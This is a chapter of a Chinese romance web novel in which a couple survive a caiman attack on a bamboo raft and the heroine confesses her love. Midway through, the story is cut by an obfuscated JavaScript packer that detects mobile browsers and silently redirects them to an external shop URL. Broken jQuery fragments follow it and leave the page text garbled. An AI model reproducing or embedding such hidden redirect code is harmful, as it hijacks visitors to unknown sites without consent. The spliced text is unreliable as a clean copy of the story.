文趣网 > 都市小说 > 地图全黑但老公是亮的 > 20. 凯门鳄
    鹿希野的后背纹丝不动,只是一味地把竹桨送入水后又抡起,指腹在竹杆上压出浅浅的白印。

    "别哭了。"

    他嘴上说着,划船的动作还是很稳健。

    游若谷很震惊,她以为自己伪装得很好,没想到还是被发现了,又顿时感到一丝羞耻。

    “没哭啊……刚刚被柳絮呛到了……”

    她飞快抹了把泪,努力维持正常的声音。

    两岸的确有柳树,但这种柳树靠水流传播种子,不会产生飞絮。

    “哦,第一次听说马丁柳会飘絮。”

    鹿希野语气中带着一丝故作的惊讶。

    游若谷自知说不过他,就不再接话。

    河面比之前更宽了,偶尔一段朽木横在水面,竹筏擦过去的时候发出沉闷的刮擦声。

    水色从翡翠绿渐渐变深,开始泛出一种浑浊的暗黄。河底的水草看不见,取而代之的是一团团灰褐色的悬浮物,在筏底的水流里翻滚。

    竹筏每每被水流激荡一次,游若谷就会重重地扣住竹筏边缘,或者发出压抑的惊呼声。

    鹿希野轻笑了一声,随即停下了桨。

    他侧头回望,却不是看她。

    他的目光落在右后方水面上一个缓慢移动的暗影上。

    那个影子长约两米,半浮半沉,尾端偶尔露出水面卷一下,带起一圈扇形的波纹,然后重新没入水下。

    "把包抱好,坐稳了。"

    他脸色陡然一变,把背包丢游若谷身上。

    游若谷下意识照做,把包夹在腿间。

    小浣熊反应也很迅速,从筏头弹起来,窜回两人中间的空隙。

    它压低身体,两只前爪按在竹面上,下巴贴紧,尾巴收在身侧,一动不动地盯住水面的方向。

    但是那截暗影消失了,河面恢复了死一般的沉寂。

    真是虚晃一枪。

    不知道是不是心理作用,游若谷没有松口气,反而觉得连水面的反光都变得粘稠,像一层油膜在铺开。

    竹筏还在往前漂,可她感觉水流变了方向,变得杂乱无章。

    "水下……好像有东西……"

    游若谷颤抖着嗓子说。

    "凯门鳄。"

    鹿希野回答她。

    他把竹桨横在膝上,整个人弓起了一点,右手从桨柄上松开,慢慢探向背包侧方。

    他在摸刀。

    他抽住方才砍竹子的大砍刀,拇指在刀背的棱线在划过,像是在试探这把武器够不够格。

    "鹿希野。"她的声音又轻又低,"我要做点什么?"

    “降低重心,保护好自己。”

    鹿希野始终没有看她一眼,她难免失落,却又觉得合理,毕竟这是在危险关头。

    她便把背包死死护在胸前,抱着膝盖缩在筏尾。

    竹筏从一片深色水面漂过去,筏底传来轻微的撞击感。

    某样软的东西从筏底擦过去,顶着竹面拱了一下,然后狡猾地滑开。

    小浣熊的喉咙里发出一连串细碎的低鸣,又胆怯又不服气。

    离竹筏几米远的地方,水面撕裂开一道血盆大口,一个橄榄绿的脑袋破水而出了。

    游若谷觉得有一块巨石从水面升起,这巨石长着眼睛,眼眶后方凸起的骨棱上挂着绿藻,下颚边缘的锯齿状纹路湿漉漉地反着光。

    它张开嘴时有水从齿缝间成片地淌下来,像一扇门在打开。

    鹿希野整个人从筏首的位置退了一步,踩到竹筏中部,左手撑在筏面上,右手的砍刀从下往上撩出去。

    刀锋在空气里划出一道半弧,劈在那只鳄鱼张开的下颚侧面。

    金属撞击硬鳞的声音像铁锤砸在实木上,又闷又重,传到竹筏上的震感震得她牙齿发酸。

    她缩着脖子,这一刻担心的事情有很多:两人能不能活下来?自己不帮忙真的能行吗?鹿希野会不会受伤?鳄鱼会不会咬到腿?鹿希野的砍刀会不会误伤自己……

    鳄鱼的头被那一刀劈得往右偏了半个手掌的距离,砍刀的刃口卡进鳞片之间,嵌在颚骨边缘的软组织里。

    鹿希野没有试图拔刀,而是看准对方左右挣脱的频率,一脚踢在它的鼻头上。

    鳄鱼恼羞成怒,甩起尾巴鞭打水面,筏子剧烈地倾斜了一下。

    然后它的尾巴从另一侧甩出来,拍碎了筏尾三根捆扎绳,整块竹面从游若谷屁股底下裂开一道缝。

    她的左脚滑进那道缝里,膝盖磕在竹节上,水从裂缝里灌上来,漫过她的小腿。

    鹿希野终于看了她一眼。

    他抽出了那把还嵌在鳄鱼颚骨上的砍刀,鳄鱼麻溜地沉入水下暂避风头。

    “站起来。”

    鹿希野跨过裂开的筏面,来到她所在的筏尾,抓住她的胳膊往上抬。

    竹筏被他压得沉下去,水从边缘漫上来,但裂缝没有再扩大。

    “我卡住了……”

    她也想把脚拔出来,但卡得太紧,膝盖以上被竹条夹住。

    “起来。”

    鹿希野的话没有半点儿温度,他不听她的理由,只一味要求达到他的目的。

    游若谷只好狠下心,用力抽了一下,整条腿从膝盖往下的皮肤被竹面的毛刺刮出一条长痕,火辣辣的疼。

    还不等她站稳,鳄鱼的头就再次从水面升起。

    它嘴侧的伤口触目惊心,并且因为受伤而更加兽性大发。

    它朝竹筏尾端冲过来的速度比水浪还快,宽扁的吻部在水面上推出一道三角形的水弧。

    鹿希野沉着应战,双手反握住刀柄,刀尖直直朝鳄鱼的伤口处刺去,加深了那一道裂开的口子。

    鳄鱼再次用力甩尾,精准击打在筏尾,把游若谷整个人从筏面上掀了起来。

    “啊——”

    腾空的一瞬间,她望见鹿希野再次挥刀,戳破了鳄鱼的眼睛。

    鳄鱼胡乱地挣扎,吻部撞上了竹筏尾端,整块竹面被顶得竖起来,碎竹片像射箭一样飞向两侧。

    然后鳄鱼便不见了踪影。

    游若谷落进水里,耳朵里灌满了咕噜噜的闷响。

    水很混浊,她刚沉下去就挣动四肢往上浮,扑腾间看见鹿希野从半空坠下来,手臂上还挂着背包。

    鹿希野也被竹筏的翻折力弹起,落点在她身侧。

    他入水的姿势很生硬,是侧着撞进去的,明显是事发突然,来不及调整姿势。

    可是他入水后没有停留,很快就把不会水的游若谷托举起来。

    他带着她游向岸的时候脸上全是划痕,嘴唇抿着,眉心蹙成一道深纹。

    游若谷觉得不对劲,便往下一看:一团暗红色的液体正在他右臂外侧的水域扩散开来。

    "你受伤了……"

    "嗯。"

    声音从他的牙缝里挤出来,有些勉强。

    终于到了能站立起来的浅滩,游若谷才发觉他的身上全是伤痕,尤其是大腿上还有一道显赫的深裂口。

    鲜血止不住地往外流淌,游若谷觉得他要死了。

    鹿希野的身子不稳,显得摇摇欲坠。

    游若谷环住他的腋下,用自己从没试过的力气把他往岸边拖。

    对方很沉,自己也受了伤,可是她此刻拥有惊人的魄力。

    鹿希野没有推拒,微微偏过头来,下巴搁在她肩膀上,呼出的气断断续续,贴着她耳朵,"你……往前走就行,靠在那块石头上。"

    "你别说话。"她呲牙咧嘴又带着哭腔,努力朝他说的那块石头走去,"省着点力气。"

    他果然不说话了,只是喘着气。

    她感觉到他呼吸的频率在变快,每一下都比上一口气短。

    上天保佑,你可千万别有什么事啊,我愿意用我今后抽卡的欧气换你平安。

    她默默祈祷,半扛着他缓慢移动,每一步都像是拖着整个湿透的世界,最后两人踉跄着跪在河床上。

    小浣熊比她们先上了岸,浑身湿透站在浮木上抖水。

    她扶着他坐下,让他靠着石头,翻看他的手臂和大腿。

    手臂的伤口不深却很长,从肘外一直延伸到前臂中段,皮肉翻开成一条缝。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863469|212118||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    "不是鳄鱼咬的。"他像是宽慰她一般,仰面躺着喘气,"撞筏子的时候……碎竹片划的。"

    游若谷把对方已经湿透了布条撕下来,打开背包,洒上消毒的药粉。

    他闭着眼哼了一声,眼皮颤抖。

    她又从背包的防水夹层里翻出干的布带和细藤条,手指抖得厉害,缠了两次都没收住力道,勒得他肌肉一缩。

    "你怎么会这个?"他咬着牙问道。

    “我之前也受过这样的伤,自己在家琢磨着包扎的。给别人缠绷带还是第一次,感觉不太顺手……”

    她把他的伤口一一包扎好,已经累得力竭,不再管自己身上的擦伤和划伤,贴着他身子坐下来。

    河面竹筏的残骸正慢慢往下游漂去,几根断开的竹筒在漩涡里打转,那把砍刀已经看不见了,鳄鱼也没有再浮上来。

    "鹿希野。"

    她忽然一个翻身,张开手臂环住他的脖子,把脸埋在他潮湿的颈窝,下巴搁得他锁骨生疼,"对不起,我后悔了……"

    她一开口,就大哭起来,哭得喘不过气,“我昨晚不该……那样说……”

    鹿希野侧过头来睁眼看她,是那种她熟悉的认真看她的神色。

    他发白的嘴唇蠕动:“怎样说?”

    她紧紧抱住对方,湿发贴着他的耳侧,眼泪鼻涕都抹他身上了,“说把你当朋友什么的……让你伤心了……对不起……我昨晚没有想好该怎么回答……我……”

    她边哭边全身颤抖,抽气抽得太厉害,突然被没顺上来的气噎住,憋得脸涨红。

    一只手掌覆上她后脑勺,温暖而有力,掌心贴在她湿漉漉的头发上。

    那只手轻轻拍着她,帮她顺气。

    久违的温柔让游若谷更加难受,她哇哇大哭,抽泣得像打嗝一样响,全然不顾形象,“对不起……你原谅我好不好……我们不要再冷战了……你也不要死好不好……我以后都会乖乖听你话……也不会老是惹麻烦……”

    鹿希野的手收了收,指腹按进她后脑的发根里,把她整个人往自己方向拢了半寸。

    “谁说我要死了?我舍不得死……”

    游若谷半趴着压在他身上,不禁有些担心地问,“我这样……会不会压到……你伤口……”

    鹿希野禁锢住她想要起来的腰,把她牢牢扣在自己身上。

    "别动,让我抱一会儿。"

    河风吹过来,从她湿透的衬衫上卷走一层凉意。

    她打了个冷战,鹿希野便把她环得更紧了一点。

    他的掌心往上移,贴着她后背的肩胛骨上,感到薄薄一层皮肉下面是清晰的骨棱。

    过了很久,他偏头在她耳侧说了一句:"游若谷,那个问题……你还没有回答。"

    她松开一点,抬眼看他。

    他的眼睛在暮色里显得格外清亮,瞳孔外缘有一圈浅褐色的环,被余晖照得像琥珀。

    "我喜欢你。"她双眼又红又肿,声带抖得厉害,"真的喜欢……"

    “那种喜欢?好朋友的那种喜欢吗?”

    “不是……我对你的感觉……和他们不一样……”

    “怎么不一样?”

    关于朋友和恋人之前好感有什么区别,这是一道高深的哲学难题,谁也没有一个具体的答案。

    游若谷想了想,组织不出什么高大上的语言,只把自己的真实感受表达出来:“朋友只有在一起玩的时候,我才会关注他们,可是就算你不在的时候,我也会一直想你……我喜欢你抱着我,但是朋友就不行,碰我一下的话,我会很生气……如果你和他们有分歧,我会选择站在你这边……”

    游若谷兀自说了很多,虽然她是一个话多的人,但也没有一次性说过那么一大段话,来表明自己的心意。

    鹿希野认真听她说话,时不时被说到心坎上,眼神触动,环住她的手暗自发力。

    小浣熊从浮木上跳下来,走到两人脚边,用鼻子拱了拱鹿希野垂在地上的手指。

    天边最后一抹光从树冠缝隙里漏进来,落在两人的身上,像一层金色的薄灰。